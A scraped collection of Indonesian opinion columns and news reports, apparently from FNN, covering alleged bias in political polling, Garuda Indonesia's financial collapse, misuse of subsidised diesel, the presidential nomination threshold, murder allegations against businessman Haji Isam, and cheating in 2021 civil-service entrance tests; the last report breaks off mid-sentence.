Oleh Ady Amar *) JIKA mencermati Pemilihan Gubernur (Pilgub) DKI Jakarta 2017, sengaja dipilih Pilgub DKI di mana Anies Baswedan ikut berkompetisi, maka bolehlah jika ada yang menyebut bahwa lembaga survei politik kala itu seolah dibuat sesuai dengan pesanan si pemesan. Si pemesan itu bisa kandidat bersangkutan, atau pesanan dari partai politik pengusung kandidat. Hasil survei dibuat dengan metode selayaknya, namun hasil survei yang sebenarnya hanya diberikan pada pemesan. Sedang yang di- publish biasanya hasil yang tidak sebenarnya. Hasil sebenarnya yang diinginkan, dipakai pemesan untuk mengejar ketertinggalan, sedang hasil yang tidak sebenarnya tentu untuk menjatuhkan kandidat lain di mana hasil survei dibuat angka persentase dengan tidak sebenarnya. Maka, pemesan mendapat sekaligus dua keuntungan yang diharap. Pertama, ia tahu persis kekuatan kandidat/pesaingnya. Kedua, berharap bisa mempengaruhi publik dengan mem-framing hasil survei. Tujuan utama dari semuanya adalah untuk mempengaruhi calon pemilih bahwa kandidat yang "digarap" memang diinginkan publik. Maka bukan rahasia umum, jika lembaga survei itu melakukan framing pada hasil surveinya. Mengecil dan besarkan hasil survei sesuai keinginan. Itulah lembaga survei, yang bekerja tanpa nurani demi siapa yang membayarnya. Tidak semua lembaga survei merilis hasil surveinya dengan hasil tidak sebenarnya. Tentu ada juga lembaga survei idealis, tetap profesional meski berorientasi bisnis. Melihat fenomena yang ada, tidak perlulah sampai mesti terkaget-kaget, jika pada saat yang sama ada lembaga survei yang merilis hasil surveinya berbeda ekstrem dengan hasil rilis lembaga survei lainnya. Itu bisa dimungkinkan oleh sebab lembaga survei yang satu dan lainnya bekerja untuk kandidat yang berbeda. Maka hasil surveinya pun berbeda, sesuai pihak yang memesannya. Jika kandidat bersangkutan, dan atau partai politik pengusungnya, itu kuat dalam pendanaan. Artinya, mampu "bekerja sama" pada banyak lembaga survei ternama, maka kandidat itu pastilah elektabilitasnya tinggi, ia dimanjakan dengan hasil rilis berbagai lembaga survei . Sembari hasil rilis berbagai lembaga survei, itu "mengecilkan" persentase kandidat lainnya, yang sebenarnya punya elektabilitas keterpilihan tinggi. Hasil Survei Pilgub DKI Jakarta 2017 Pilgub DKI Jakarta 2017, bisa jadi model untuk melihat hasil lembaga survei yang tidak sesuai dengan hasil Pilgub itu sendiri. Di mana kandidat yang tidak diunggulkan keluar sebagai pemenang dengan suara terbanyak. Dan, itu keterpilihan Anies Rasyid Baswedan, di mana hasil rilis surveinya rendah, tapi justru mengantarkannya terpilih sebagai Gubernur. Pilgub DKI Jakarta terdiri dari 3 kandidat, sesuai nomor urut: Basuki Tjahaja Purnama (Ahok)-Djarot Syaiful Hidayat, Agus Harimurti Yudhoyono (AHY)-Sylviana Murni, Anies Rasyid Baswedan-Sandiaga Salahuddin Uno. Petahana Ahok-Djarot dielu-elukan berbagai lembaga survei akan keluar sebagai pemenang Pilgub. Bahkan lembaga survei Litbang Kompas merilis hasil surveinya, dimana AHY elektabilitasnya di atas Anies-Sandi. Ternyata hasil rilisnya meleset jauh. Mestinya Pilgub DKI Jakarta itu bisa jadi pegangan pemilih, khususnya pemilih pemula, bagaimana hasil rilis lembaga survei yang meleset jauh dari hasil rilisnya. Karenanya, pemilih harus cermat melihat kecenderungan sebuah lembaga survei mengarahkan calon pemilih untuk memilih kandidat tertentu. Mari kita lihat hasil survei Litbang Kompas (21/12/2016) pada Pilgub DKI Jakarta, yang diikuti 3 pasangan, sesuai dengan nomor urut. Dimana pasangan nomor urut 1, Agus Harimurti Yudhoyono-Sylviana Murni, mendapat 37, 1 persen suara. Angka tertinggi dibanding 2 peserta lainnya. Sedang nomor urut 2 adalah petahana Basuki Tjahaja Purnama (Ahok)-Djarot Saiful Hidayat 33,0 persen. Dan nomor urut 3, Anies Rasyid Baswedan-Sandiaga Salahuddin Uno mendapat angka buncit, 19,5 persen suara. Hasil survei Litbang Kompas itu ternyata tidak sesuai alias jauh panggang dari api. Agus-Sylvi justru terpental, tidak masuk putaran kedua. Ahok-Djarot dan Anies-Sandi yang lanjut ke putaran kedua. Hasil putaran pertama Pilgub DKI, sesuai nomor urut: 1). 19,06 persen, 2). 42,99 persen, 3). 39,95 persen. Dua kandidat teratas yang maju pada putaran 2. Begitu pula lembaga survei lainnya pun sama mengunggulkan petahana dibanding dua kandidat lainnya, bahkan dengan perolehan suara yang terpaut jauh. Pada putaran kedua Pilgub DKI Jakarta pun, hampir semua lembaga survei merilis hasil surveinya dari bulan ke bulan. Kita lihat saja rilis lembaga survei Charta Politika, yang digawangi Yunarto Wijaya, yang tampak juga sebagai konsultan politik Ahok-Djarot. Hasil dari rilisnya, bahwa pasangan Ahok-Djarot mengungguli Anies-Sandi. Rilis hasil surveinya yang terakhir, pada tanggal 15 April 2017, artinya 4 hari menjelang putaran ke-2, yang jatuh pada tanggal 19 April 2017. Di mana Ahok-Djarot memperoleh 47,3 persen. Sedang Anies-Sandi memperoleh 44,8 persen suara. Ternyata real count KPU, hasilnya berkebalikan, Ahok-Djarot memperoleh 42,05 persen, sedang Anies-Sandi memperoleh 57,95 persen suara. Tidak cuma Charta Politika, tapi SMRC dan lembaga survei lainnya pun menjagokan Ahok-Djarot sebagai pemenang. Dan pekan kemarin (18/10/2021), lagi-lagi Litbang Kompas, meski Pemilihan Presiden (Pilpres) masih jauh, sudah merilis hasil elektabilitas beberapa kandidat untuk Pilpres 2024. Hasilnya, pada urutan 1 dan 2 adalah 13,9 persen, yaitu Prabowo Subianto (Menhan) dan Ganjar Pranowo (Gubernur Jawa Tengah). Subhanallah angkanya bisa sama, tampak ajaib. Sedang di peringkat 3 adalah Anies Rasyid Baswedan (Gubernur DKI Jakarta) memperoleh 9,6 persen. Jika menilik hasil survei Pilgub DKI Jakarta (2017) yang hasil surveinya jauh meleset, tidak sesuai dengan real count KPU, maka sepantasnya publik tidak harus mempercayai lembaga survei yang punya track record buruk. Tidak salah jika publik menyebut survei abal-abal. Publik harus terus diberi penyadaran, bahwa ada upaya sistemik untuk mengatrol nama kandidat tertentu, yang dipesan untuk dikerek setinggi-tingginya. Sembari menenggelamkan kandidat potensial dengan menggerus suaranya terus-menerus, agar kandidat itu tidak dilirik partai politik untuk mengusungnya. Segala cara menuju 2024 akan dilakukan, tidak mustahil dengan cara-cara tidak demokratis. (*) *) Kolumnis

Sedih dan Malu, Garuda Indonesia Akan Hembuskan Napas Terakhir

By Asyari Usman SANGAT pilu dan malu. Perusahaan penerbangan Garuda Indonesia, sebagai pengusung bendera nasional (flag carrier), akan segera menghembuskan napas terakhirnya. Perusahaan BUMN ini semakin dekat ke liang kubur kebangkrutan. Menyedihkan sekali. Pagi ini saya duduk termenung sambil sarapan. Tidak masuk akal negara besar ini bisa kehilangan perusahaan penerbangan kebanggaan rakyat. Tapi, itulah yang akan terjadi. Tak lama lagi sakaratul maut itu akan berlangsung. Garuda kini sakit keras. Napasnya satu-satu. Tak seorang pun peduli Garuda akan mati. Presiden Jokowi diam saja. Malahan beliau pernah mengancam akan menutup BUMN yang bermasalah. Para politisi senior juga tak ambil pusing. Ada benarnya bahwa BUMN yang bermasalah tidak usah dilanjutkan. Tapi, Garuda Indonesia bukan BUMN biasa. Perusahaan penerbangan ini tidak hanya dituntut untuk fungsional dalam bisnis. Tidak hanya bisnis murni yang menjadi misi Garuda. Dia menjadi taruhan nama baik Indonesia di pentas internasional. Eksistensi Garuda adalah eksistensi bangsa dan negara ini di level global. Kematian Garuda akan menjadi berita yang sangat buruk bagi Indonesia di mata dunia. Sangat memalukan kalau itu terjadi. Sebab, negara-negara yang jauh lebih kecil dan lebih lemah dari sisi produktivitas dan finansial, masih mampu memiliki maskapai “flag carrier”. Tak lama lagi, kaunter Garuda di bandara-bandara internasional akan ditutup. Lenyaplah Garuda dari bandara Schipol di Amsterdam. Akan hilang dari bandara Narita di Tokyo dan bandara Osaka. Selesailah riwayatnya di Melbourne, Sydney, Perth, Hong Kong, Shanghai, Bangkok, Kuala Lumpur, Singapura, dlsb. Kematian yang tidak wajar. BUMN pembawa bendera ini nyaris tak pernah mengalami masa keemasan. Bermasalah terus dari waktu ke waktu. Kasihan sekali. Sewaktu “masih sehat” pun Garuda memang selalu dirundung problem. Intinya adalah salah kelola (mismanagement). Garuda dijadikan sapi perahan. Dijadikan tempat menitipkan anak-keponakan orang-orang yang punya kuasa. Dijadikan ajang untuk mengeruk keuntungan pribadi oleh silih berganti direksinya. Saya pernah mendengar cerita dari seorang mantan pejabat senior Garuda tentang “fee” belasan juta dollar dalam proses pengadaan pesawat. Itu terjadi pada awal pemerintahan Presiden Soesilo Bambang Yudhoyono (SBY). Pada Mei 2020, Emirsyah Satar (Dirut Garunda 2005 s/d 2014) dijatuhi hukuman penjara 8 tahun. Dia dikenai denda USD 1,4 juta karena tuduhan suap dan pencucian uang (money laundering) terkait pembelian pesawat dari Airbus dan mesin dari Rolls-Royce. Ada catatan korupsi besar lainnya. Pada 2005, Sekarga (Serikat Karyawan Garuda) pernah membeberkan indikasi korupsi dalam pengadaan pesawat Boeing 737-800 yang merugikan negara sebesar US$28.5 juta atau hampir Rp400 miliar. Singkatnya, Garuda menjadi tempat korupsi berjemaah. Garuda juga dijadikan tempat kolusi dan nepotisme. Pagi ini saya membaca surat terbuka tentang Dirut Garuda, Irfan Setiaputra, yang diduga kuat menggunakan fasilitas perusahaan ketika membawa keluarganya berliburan belum lama ini. Dia membawa anak, menantu dan dua cucu. Disebutkan pula bahwa tiket untuk empat anggota keluarga Irfan dinaikkan (di-upgrade) dari kelas ekonomi ke kelas bisnis tanpa biaya. Irfan memanfaatkan undangan pertemuan tahunan IATA (International Air Transport Association) di Boston, Amerika Serikat, 3-5 Oktober 2021. Tetapi, dia absen dari Indonesia sejak 1 Oktober sampai 16 Oktober. Kalangan karyawan Garuda marah. Perusahaan sedang menghadapi ancaman bangkrut, tapi direktur utama malah jalan-jalan ke Amerika dan Eropa. Sekarga meminta Menteri BUMN Erick Thohir agar melakukan investigasi terhadap dugaan penyalahgunaan fasilitas perusahaan oleh Irfan. Sekarang ini, perusahaan penerbangan pengusung bendera merah-putih itu mungkin tak tertolong lagi. Para pejabat sudah mulai bicara soal pengganti Garuda. Sangat mengherankan, para pejabat senior kelihatan tidak ada menyimpan perasaan apa-apa dalam menghadapi kebangkrutan Garuda. Luar biasa jika semua mereka tidak merasa sedih dan tak merasa malu di depan para tetangga di Asia Tenggara. Philippines Air Lines saja masih sanggup terbang. Begitu juga maskapai Biman Bangladesh. Padahal, Garuda adalah perintis penerbangan di Indonesia. Maskapai ini pernah menikmati monopoli pasar sampai pertengahan 1990-an. Presiden Jokowi masih bisa melakukan sesuatu agar Garuda tidak lenyap. Tinggal soal “political will” (kemauan politik) saja.[] (Penulis wartawan senior FNN)

Gelap Solar Subsidi

Oleh Salamuddin Daeng Jakarta, FNN - Tidak ada yang tau persis siapa yang menggunakan solar subsidi, penguasa besar, atau rakyat jelata? Angkutan sawit dan batubara, angkutan tambang atau angkutan sembako? Tidak ada yang tau. Data tentang alokasi solar subsidi ini tidak ada dan tidak bisa diadakan oleh sistem pengelolaan subsidi saat ini. Sementara wajib bagi Pertamina menyediakan solar subsidi bagi angkutan umum, angkutan barang. Angkutan mengantri solar dengan kondisi muatan kosong, sehingga petugas lapangan tidak dapat membedakan angkutan sawit, angkutan hasil tambang batubara yang tidak berhak menerima subsidi dengan angkutan sembako.yang berhak. BUMN lain juga menggunakan solar subsidi, pelni, KAI, ASDP, PLN, dan lain lain. Tapi kita tak tau apakah solar subsidi benar benar mereka habiskan atau kalau ada sisanya dapat di jual kembali? Ada banyak pertanyaan publik tentang maraknya peredaran solar gelap di Indonesia. Semua atau seabrek lembaga negara di sektor migasa dan energi tidak tau cara menyalurkan solar subsidi kepada yang berhak menerimanya. Menteri ESDM, BPH Migas, Dewan Energi Nasional (DEN) tidak memiliki kemampuan mendata siapa saja yang menerima manfaat solar subsidi. Seharusmya solar subsidi langsung disalurkan kepada penerima yang berhak. Usaha kecil menengah, angkutan kelas kecil, pengangkut sembako milik individu dapat mengajukan permohonan sebagai penerima solar subsidi dan diberi jatah tahunan sesuai dengan kebutuhannya. Digitalisasi dapat menjadi alat untuk memantau memonitor jika ada yang berbohong. Tidak seperti sekarang, solar subsidi bagaikan mengalir ke ruang yang gelap, lalu setelah itu hilang, penerima manfaatnya entah siapa? Telah menjadi rahasia umum bahwa bisnis batubara, sawit, tambang adalah bisnis para oligarki kelas atas. Besar kemungkinan solar subsidi mengalir ke tambang dan perkebunan. Solar memang gelap segelap warnanya. Korban atas solar subsidi adalah Pertamina. BUMN ini harus menanggung menalangi subsidi solar, untuk selanjutnya menjadi piutang mereka kepada Pemerintah. Sementara pemerimtah sendiri tidak jelas kapan akan membayar utang subasidi solar kepada Pertamina. Apalagi di era covid dimana kantong pemerintah sedang tongpes. Hal Ini akan membuat kas Pertamina jebol. Hampir 16 juta kilo liter solar subsidi yang harus ditalangi Pertamina sekarang. Nilainya sekitar 160 an Triliun. Semua pengadaan ditanggung oleh Pertamina. Adanya selisih harga yang besar antara solar subsidi dengan harga solar komersial mengakibatkan kerugian Pertamina sangat besar. Sementara subsidi yang diputuskan APBN hanya 500 perak setiap liter BBM solar subsidi. Pertamina jebol sekitar 60-70 triliun setahun. Uang besar di tengah kondisi cash flow perusahaan bermasalah. Solar warnamya gelap bung ! *) Peneliti AEPI

Ketua DPD RI: "Presidential Threshold" Terbaik Adalah 0 Persen

Pontianak, FNN - Ketua DPD RI A LaNyalla Mahmud Mattalitti berpendapat bahwa "presidential threshold" atau pengaturan tingkat ambang batas dukungan dari DPR terbaik adalah 0 persen sehingga semua partai peserta pemilu dapat mengusulkan pasangan capres dan cawapres. "Dengan banyaknya kandidat tentu saja semakin besar peluang menghasilkan pemimpin berkualitas," kata LaNyalla saat menyampaikan pidato utama dalam Focus Group Discussion (FDG) "Amendemen ke-5 UUD 1945: Penghapusan Ambang Batas Pencalonan Presiden dan Membuka Peluang Calon Presiden Perseorangan" di Institut Agama Islam Negeri (IAIN) Pontianak, Kalbar, Rabu. Pada kesempatan itu, pihaknya mengajak insan kampus untuk memantik diskusi konstitusi agar pada akhirnya pemerintah dan DPR RI serius membahas dan menakar presidential threshold secara rasional. "Agar rakyat tidak dihadapkan pada dua pilihan sehingga demokrasi semakin sehat," tuturnya. LaNyalla menegaskan presidential threshold atau ambang batas pencalonan presiden tidak ada dalam konstitusi. Yang ada adalah ambang batas keterpilihan presiden. "Beberapa waktu lalu saya membuka FGD di kampus Universitas Muhammadiyah Yogyakarta. Dari tiga narasumber dalam FGD itu, semuanya mengatakan dalam konstitusi yang ada adalah ambang batas keterpilihan, bukan ambang batas pencalonan," ujarnya. Dia mengungkapkan, mengapa ada batas keterpilihan, lanjut LaNyalla, karena untuk menyeimbangkan antara popularitas dengan prinsip keterwakilan yang lebih lebar dan menyebar. Itu diatur dalam UUD hasil amendemen di Pasal 6A Ayat (3) dan (4). Sedangkan terkait pencalonan, UUD hasil amendemen jelas menyatakan tidak ada ambang batas. Karena dalam Pasal 6A Ayat (2) disebutkan; "Pasangan calon Presiden dan Wakil Presiden diusulkan oleh partai politik atau gabungan partai politik peserta pemilihan umum sebelum pelaksanaan pemilihan umum". "Artinya setiap partai politik peserta pemilu dapat mengajukan pasangan capres dan cawapres. Dan pencalonan itu diajukan sebelum pilpres dilaksanakan," kata dia. Namun kemudian semakin salah kaprah dengan lahirnya Undang-Undang tentang Pemilu, yang malah mengatur tentang ambang batas pencalonan. Yaitu Undang-Undang Nomor 7 Tahun 2017 tentang Pemilu, perubahan dari Undang-Undang Nomor 42 Tahun 2008. Dalam Undang-Undang tersebut, di Pasal 222 disebutkan; "Pasangan Calon diusulkan oleh Partai Politik atau Gabungan Partai Politik Peserta Pemilu yang memenuhi persyaratan perolehan kursi paling sedikit 20 persen dari jumlah kursi DPR atau memperoleh 25 persen dari suara sah secara nasional pada Pemilu anggota DPR sebelumnya". "Jadi selain memberi ambang batas yang angkanya entah dari mana dan ditentukan siapa, di Pasal tersebut juga terdapat kalimat; 'pada Pemilu anggota DPR sebelumnya. Ini membuat komposisi perolehan suara partai secara nasional atau kursi DPR tersebut diambil dari komposisi lama atau periode 5 tahun sebelumnya'," tutur Mantan Ketua Umum PSSI itu. Menurut LaNyalla pasal tersebut aneh dan menyalahi Konstitusi. Undang-Undang Pemilu tersebut jelas bukan derivatif dari Pasal 6A UUD hasil amendemen. Jadi, kata dia, selama Undang-undang ini berlaku, maka Pilpres Tahun 2024, selain masih menggunakan ambang batas pencalonan, juga menggunakan basis suara pemilu tahun 2019 kemarin, atau basis hasil suara yang sudah "basi". Padahal di tahun 2024, ada partai baru peserta pemilu. "Lantas apakah mereka tidak bisa mengajukan pasangan capres dan cawapres. Padahal, amanat konstitusi jelas memberikan hak pengusung kepada partai politik peserta pemilu," ujarnya. Melihat fakta-fakta yang ada, LaNyalla berharap FGD yang dilakukan DPD bisa menjadi pemantik kesadaran seluruh elemen bangsa, khususnya kalangan terdidik di perguruan tinggi, untuk memikirkan secara serius masa depan bangsa ini, demi Indonesia yang lebih baik. Demi Indonesia yang mampu mewujudkan Keadilan Sosial Bagi Seluruh Rakyat Indonesia. "Itulah alasan saya datang ke kampus-kampus untuk berbicara soal konstitusi, karena sejak dilantik sebagai Ketua DPD RI pada Oktober 2019 lalu hingga saat ini saya sudah keliling ke 33 Provinsi di Indonesia untuk menemukan kesimpulan bahwa semua permasalahan di daerah sama. Mulai dari persoalan sumber daya alam daerah yang terkuras, hingga kemiskinan, setelah saya petakan, ternyata akar persoalannya ketidakadilan sosial," paparnya. (mth)

Jejak Digital Ungkap, Haji Isam Diduga Terlibat Pembunuhan Guru

Oleh: Mochamad Toha Mantan Wakil Menteri Hukum dan HAM Denny Indrayana menyatakan ada 2 kejadian di Kalimantan Selatan yang perlu dikritisi dan dicermati selama satu pekan terakhir antara Presiden Joko Widodo dan Haji Isam. Pertama, pada Kamis (21/10/2021), Presiden Jokowi dalam kunjungannya ke Tanah Bumbu, Kalimantan Selatan, meresmikan pabrik biodiesel yang didirikan PT Jhonlin Group milik Samsudin Andi Arsyad alias Haji Isam. Kedua, keesokan harinya, Jumat (22/10/2021) lalu, Advokat Jurkani yang sedang melakukan langkah advokasi atas suatu penambangan ilegal juga di daerah Tanah Bumbu, dibacok oleh sekelompok orang hingga luka parah di di kaki dan tangannya. Menurut Denny, kedua peristiwa itu, meski seakan terpisah, sebenarnya menunjukkan satu benang merah, bagaimana politik bisnis batubara bisa masuk ke dalam kepentingan politik dan penegakan hukum di tanah air. Yang pertama, kehadiran Presiden Jokowi meresmikan proyek milik Johnlin Grup, seakan-akan tidak ada masalah – dalam kondisi normal. Namun, sudah menjadi pemberitaan luas bahwa anak perusahaan Johnlin Grup sedang diduga terjerat perkara korupsi suap pembayaran pajak yang kasusnya sedang disidik KPK, dan kasusnya sedang disidang di Pengadilan Tindak Pidana Korupsi Jakarta. Nama Haji Isam sempat menyita perhatian rakyat karena tertarik dalam pusaran kasus korupsi pejabat pajak. Haji Isam diduga 'bermain mata' dengan pejabat pajak berkaitan dengan nilai pajak perusahaannya. Hal itu terungkap dalam persidangan di Pengadilan Tipikor Jakarta Senin 4 Oktober kemarin. Sidang itu mengadili terdakwa Angin Prayitno Aji selaku mantan Direktur Pemeriksaan dan Penagihan di Direktorat Jenderal (Ditjen) Pajak dan Dadan Ramdani selaku Kepala Subdirektorat Kerja Sama dan Dukungan Pemeriksaan di Ditjen Pajak. Sidang menghadirkan seorang saksi atas nama Yulmanizar sebagai mantan anggota Tim Pemeriksa Pajak di Ditjen Pajak. Dari kesaksian Yulmanizar dalam Berita Acara Perkara nomor 41 itulah nama Haji Isam muncul. Yulmanizar mengaku sempat bertemu orang bernama Agus Susetyo selaku konsultan pajak PT Jhonlin. Disebutkan, dalam pertemuan itu dia meminta agar nilai perhitungan pajak PT Jhonlin dikondisikan pada Rp 10 miliar. Dalam pertemuan itu, menurut kesaksian Yulmanizar, adalah permintaan langsung dari pemilik PT Jhonlin Baratama yang tidak lain dan tidak bukan adalah Samsuddin Andi Arsyad atau Haji Isam. Pihak Haji Isam sempat melancarkan serangan balik, PT Jhonlin Baratama (JB) sebagai anak usaha dari Jhonlin Group yang berpusat di Kabupaten Tanah Bumbu. Bidang usaha PT JB di sektor pertambangan batubara. Belakangan, Haji Isam melalui kuasa hukumnya Junaidi membantah soal kesaksian dalam persidangan itu. Bahkan pihak Haji Isam melaporkan saksi itu ke Bareskrim Polri dengan tudingan kesaksian palsu. “Keterangan yang disampaikan oleh saudara Yulmanizar selaku saksi pada persidangan terdakwa Angin Prayitno tertanggal 4 Oktober 2021 adalah keterangan yang tidak benar dan menyesatkan serta kesaksian tersebut merupakan kesaksian de auditu," kata Junaidi dalam keterangannya. Ia menyebut, Haji Isam tidak kenal dengan Agus Susetyo, yang di dalam surat dakwaan disebut sebagai konsultan pajak dari PT JB. Haji Isam juga mengaku tidak pernah memerintahkan untuk merekayasa pajak. “Klien kami hanya pemegang saham ultimate di holding company yang tidak terlibat dalam kepengurusan dan operasional JB sehingga tidak mengetahui hal-hal terkait pemeriksaan pajak PT Jhonlin Baratama," papar Junaidi. Mengejar Pembunuh Tempo mencatat, Andi Syamsudin Arsyad alias Haji Isam bukan sembarang pengusaha di kota air Banjarmasin. Ia dikenal sebagai "raja batubara", lahir di Batulicin, 1 Januari 1977. Kariernya sebagai pengusaha dimulai sebagai sopir pengangkut kayu. Haji Isam memang berdarah pedagang. Ayahnya, Andi Arsyad, adalah pedagang tembakau asal Bugis yang merantau ke Kalimantan Selatan. Kemajuan bisnisnya tersebut tidak bisa lepas dari perkenalannya dengan Johan Maulana, penambang batubara lokal di Kalimantan Selatan. Lewat bendera PT Jhonlin Baratama, Haji Isam memulai bisnisnya sebagai kontraktor pelaksana tambang di PT Arutmin Indonesia, anak perusahaan PT Bumi Resources milik Bakrie Group. Empat tahun kemudian perusahaan tersebut melebarkan sayap ke ladang batubara lain, seperti PT Alta70, PT Berkat Benua Inti, dan PT Praditya Baramulya. Kini PT Jhonlin menambang hingga 400 ribu ton batubara per bulan. Omzetnya sekitar Rp 40 miliar per bulan. Bisnis Isam juga merambah sektor properti, penerbangan, dan perkapalan. Jhonlin Air Transport kini memiliki 2 Fokker dan 2 helikopter. Dalam bisnis perkapalan, Haji Isam mendirikan Jhonlin Marine, dengan armada 16 kapal tongkang pengangkut batubara. Di balik semua cerita sukses itu, kabar miring tentang dirinya ternyata banyak berembus. Ia disebut-sebut kerap menggunakan kekuatan aparat kepolisian untuk menguasai bisnis batu bara yang diincarnya. Dalam wawancara dengan Tempo pada Juni 2010, Isam membantah semua ini. Tapi, semua bantahan Haji Isam ini sepertinya bisa dimentahkan Lilik Dwi Purwaningsih, 59 tahun. Ny. Lilik adalah istri dari almarhum Hadriansyah, seorang guru olahraga di SD tewas dibantai pada 9 Februari 2004 di sebuah rumah kawannya dekat SDN I Desa Sarigadung, Kecamatan Simpang Empat, Tanah Bumbu. Sabetan golok ke sejumlah bagian tubuhnya membuat nyawanya melayang. Pembantaian itu terjadi tak berapa lama setelah Hadriansyah memprotes kegiatan perusahaan batubara milik Haji Isam. Jika Lilik ngotot meminta dalang pelakunya ditangkap, itu karena ia kini mengaku memiliki bukti yang dinilainya sangat sahih. Bukti itu bukanlah datang dari sembarang orang, tetapi justru dari pelaku pembunuhan itu: Muhammad Aini alias Culin. Melansir Tempo, 23 Mei 2011, dalam pengakuannya itu, Culin bersumpah bahwa dialah yang membunuh Hadriansyah. Ia menyatakan melakukan itu atas perintah Haji Isam. “Kayak apa mun orangnya melawan, Ji? (bagaimana kalau melawan, Ji?)”. “Selesaikan aja, paling sebiji alat habis?” demikian tanya-jawab antara anak buah dan bosnya itu, beberapa saat sebelum Culin membunuhnya. Culin mengaku melakukan pembunuhan itu atas perintah Haji Isam. Saat itu ia membeberkannya kepada Gusti Suriansyah, salah satu tokoh pemuda Tanah Bumbu yang bersimpati pada nasib Lilik. Pengakuan itu kemudian dibuat di atas kertas bermeterai Rp 6.000 dan ia tanda-tangani. "Semua rekaman pengakuannya itu ada pada saya," ungkap Gusti kepada Tempo. Dalam testimoninya, Culin bercerita, pada hari tewasnya Hadriansyah itu, sebelumnya ia tengah berada di rumahnya. Saat itu warga, termasuk Hadriansyah, tengah gencar-gencarnya berunjuk rasa di jalan eks Kodeco Km 8 RT 6 Desa Sarigadung, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu. Tidak berapa lama muncul di rumahnya Haji Isam bersama 5 karyawannya: Babak, Asyid, Amat, Ansyah, dan seorang lainnya sebagai sopir. Kepadanya Isam menyatakan ada seseorang yang menantangnya berkelahi. Pengusaha muda itu meminta Culin meladeni tantangan tersebut. "Pukuli saja," ujar Culin, menirukan perintah Isam, seperti tertulis dalam dokumen pengakuan. Dengan menggunakan Toyota Kijang, rombongan Haji Isam tersebut tiba di SDN Sarigadung. Inilah tempat berkonsentrasinya warga yang tengah unjuk rasa. Begitu turun dari mobil, Isam langsung berteriak dan menunjuk seseorang. Tanpa pikir panjang, Culin langsung lari memburu target yang ditunjukkan Isam, yakni Hadriansyah, yang saat itu langsung lari menyelamatkan diri. Menurut Culin, dalam aksi kejar-kejaran itu, dirinya sempat membacokkan parangnya ke punggung Hadriansyah. Ia terus berlari masuk rumah dinas seorang guru. Terpojok di sebuah kamar, ayah tiga anak itu dihabisi Culin. Beberapa saat kemudian terdengar letusan senjata api dari luar rumah, disertai teriakan Isam, yang memerintahkan anak buahnya segera pergi dari tempat itu. Culin mengungkapkan, di dalam mobil yang melaju kencang meninggalkan Sarigadung, Haji Isam memintanya mengakui bahwa dirinyalah pembunuh Hadriansyah. Culin, yang terkejut atas perintah itu, langsung bertanya tentang hukuman apa yang akan diterimanya. "Paling hanya beberapa bulan,” katanya dalam testimoninya, mengutip jawaban Isam. Culin kemudian menyerahkan diri ke Kapolres Tanah Bumbu. Ternyata, “ramalan" Isam terbukti. Ia ditahan beberapa pekan, kemudian diajukan ke kejaksaan, disidang di pengadilan, belakangan Culin hanya dihukum empat bulan penjara. Rekannya yang lain, Ardi alias Babak, yang turut serta dalam pembunuhan itu, bahkan lebih ringan, tujuh hari. Padahal, dalam KUH Pidana, mereka yang terbukti melakukan pembunuhan hukumannya minimal 15 tahun. Sebelumnya, pada pertengahan Maret 2011, misalnya, Ny. Lilik mendatangi Komnas HAM. Ia juga sudah mengadu ke Mabes Polri, Komisi Yudisial, dan juga Satuan Tugas Pemberantasan Mafia Hukum. Kepada sejumlah instansi itu ia serahkan bukti-bukti yang dimiliki tentang kasus dan dalang pembunuhan suaminya tersebut, yang hingga kini belum tersentuh. Ia berharap, dengan dokumen itu, aparat segera meringkus otak pembunuh Hadriansyah. "Saya ingin aparat hukum juga ditindak," kata Lilik. “Masa’, hukuman untuk seorang pembunuh hanya tiga sampai empat bulan." Isam sebenarnya pernah membantah sebagai otak pembunuhan itu. Dalam wawancaranya dengan Tempo pada Juni 2010, ia menegaskan tidak terlibat sama sekali dalam pembunuhan Hadriansyah. Untuk memastikan ketidakterlibatan Haji Isam, testimoni Culin harus diuji secara hukum. Tapi, mengapa hingga kini koq tak ada kelanjutannya? Penulis Wartawan FNN.co.id

Menpan RB Temukan Dugaan Kecurangan SKD di Sejumlah Daerah

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB) Tjahjo Kumolo menemukan dugaan kecurangan tes seleksi kompetensi dasar (SDK) dalam rangka rekrutmen Calon Aparatur Sipil Negara (CASN) Tahun 2021 di sejumlah daerah. “Kecurangan bisa juga terjadi di titik lokasi (Tilok) lain. Kemenpan RB, BKN (Badan Kepegawaian Negara) dan Panselnas (Panitia Seleksi Nasional) sedang membahas strategi untuk mendiskualifikasi peserta yang curang, tanpa membuat gaduh,” kata Tjahjo dalam keterangannya di Jakarta, Rabu. Dugaan tersebut diperkuat dengan ada dokumen laporan yang dibagikan Tjahjo kepada wartawan, Rabu, terkait kecurangan pelaksanaan tes SKD CPNS Tahun 2021. Dalam laporan tersebut tercatat ada sembilan titik lokasi dengan dugaan kecurangan, termasuk di Tilok Mandiri Kabupaten Buol, Provinsi Sulawesi Tengah. Lokasi dugaan kecurangan tersebut ialah Tilok Mandiri Pemerintah Kabupaten Enrekang (Aula Kantor Bupati Enrekang); Tilok Mandiri Cost-Sharing Mandiri Kabupaten Mamuju, Kabupaten Pasang Kayu, Provinsi Sulawesi Barat (Gedung PKK Prov Sulawesi Barat) dan Tilok Mandiri BKN Lampung (Aula Makorem 043 Garuda Hitam). Selanjutnya ada di Tilok Mandiri Pemerintah Kabupaten Mamasa (Aula SMKN 1 Mamasa), Tilok Mandiri Pemerintah Kabupaten Sidenreng Rappang/Sidrap (Ruang Pola Kantor Bupati Sidenreng Rappang); Tilok Mandiri Pemerintah Kabupaten Luwu (Aula Lagaligo Kantor Bupati Luwu); Tilok Mandiri Pemerintah Kabupaten Buton Selatan (Gedung Baruga Buton Selatan) serta Tilok Mandiri Kementerian Hukum dan HAM Sulawesi Selatan (Universitas Kristen Indonesia Paulus Makassar). Dari sembilan lokasi tersebut, sedikitnya tercatat sebanyak 225 peserta yang diduga melakukan kecurangan dan akan dilakukan diskualifikasi. Sebanyak 225 peserta tersebut tersebar di Kabupaten Buol sebanyak 27 orang, Kabupaten Enrekang sebanyak lima orang, Kabupaten Mamuju Pasang Kayu Pemprov Sulbar (Gedung PKK Mamuju) 40 orang, Mandiri Lampung 23 orang, Kabupaten Mamasa 19 orang, Kabupaten Sidenreng Rappang 62 orang, Kabupaten Luwu empat orang, Kabupaten Buton Selatan 41 orang serta Mandiri Kumham Sulsel empat orang. Dalam laporan tersebut dijelaskan bahwa Badan Kepegawaian Negara (BKN) langsung 